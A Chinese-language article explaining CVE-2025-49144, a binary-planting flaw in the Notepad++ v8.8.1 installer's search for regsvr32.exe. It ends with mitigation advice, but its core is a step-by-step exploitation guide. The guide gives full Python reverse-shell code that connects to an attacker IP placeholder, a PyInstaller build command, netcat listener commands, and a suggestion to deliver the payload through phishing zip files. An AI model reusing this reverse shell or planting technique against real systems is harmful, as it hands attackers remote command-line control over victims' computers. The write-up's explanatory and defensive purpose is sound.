背景介绍
2025 年 5 月 5 日发布的 Notepad++ v8.8.1 中发现一处潜在的严重漏洞,该漏洞影响到全球数百万用户的系统访问权限。
该漏洞的编号为 CVE-2025-49144 ,攻击者可以通过操纵名为 regsvr32.exe 的可执行文件来获取系统权限。
本文将讨论该漏洞背后的原因、如何利用以及可能造成的后果。
漏洞成因
该漏洞源于 Notepad++ 安装文件中不受控制的 EXE 搜索路径,当用户执行安装文件时,它会搜索可执行文件依赖项,其中之一就是 regsvr32.exe 。它会在当前目录(安装文件所在目录)中搜索该文件,且未进行任何验证。
因此攻击者可以放置名称为 regsvr32.exe 的恶意可执行文件,安装程序将被诱骗执行攻击者放置的恶意文件,从而导致二进制程序植入。
攻击者便可以执行任意代码,从而可能导致 Getshell 或整个系统受到损害。
攻击是如何进行的?
步骤1: 创建恶意文件并将其保存为 regsvr32.py
import socket
import os
import threading
import subprocess as sp
ip_addr = '<ATTACKER_IP_ADDRESS>'
port = 4444
# Set up the subprocess to run cmd.exe
p = sp.Popen(['cmd.exe'], stdin=sp.PIPE, stdout=sp.PIPE, stderr=sp.STDOUT)
# Create a socket and connect to the specified address and port
s = socket.socket()
s.connect((ip_addr, port))
# Define the function to read from the subprocess stdout and send to the socket
def read_and_send():
while True:
o = os.read(p.stdout.fileno(), 1024)
s.send(o)
# Define the function to receive from the socket and write to the subprocess stdin
def recv_and_write():
while True:
i = s.recv(1024)
os.write(p.stdin.fileno(), i)
# Start the threads to run the above functions
threading.Thread(target=read_and_send, daemon=True).start()
threading.Thread(target=recv_and_write).start()
步骤 2:执行下面的命令将其转换为 exe 文件,命令执行后,将看到在 dist 文件夹中创建了 regsvr32.exe 。
python -m PyInstaller --onefile regsvr32.py
注: 确保 regsvr32.exe 和 notepad++ 的安装文件位于同一目录中。
步骤 3:在攻击者的机器上使用 netcat 设置监听器,监听器必须与恶意文件中的端口一致。
Linux:
nc -nvlp <PORT_NUMBER>
Windows:
ncat -nvlp <PORT_NUMBER>
步骤 4: 执行 Notepad++安装文件 npp.8.8.1.Installer.x64.exe
正常安装的最后一步,安装程序将提取所有文件,你将看到其中一个文件 regsvr32.exe 被执行,并且在攻击者的机器中收到反向连接。
通过Process Monitor可以清楚地看到安装程序正在下载目录中搜索 regsvr32.exe 。
注: 虽然是 CreateFile ,但它也可以打开现有的文件。
可以在下图中看到成功执行恶意文件后,建立了反向 Shell,它为受害者机器提供了命令行访问权限:
安全隐患
该漏洞可以通过与钓鱼攻击相结合而被利用,攻击者诱骗受害者下载包含安装程序和恶意文件的zip文件。
在安装此应用程序时,安装程序在搜索路径时允许攻击者执行恶意文件,从而导致任意代码执行和可能的后门程序,使攻击者完全控制受害者机器。
建议措施
-
使用绝对路径: 要查找可执行依赖项,不应使用当前工作目录,而应使用绝对路径,如 C:\Windows\System32
-
验证完整性: 安装程序在执行文件之前应验证文件的数字签名,以确认文件未被篡改
-
避免不受信任的路径: 避免从不受信任的目录(尤其是用户可写的目录)加载任何依赖项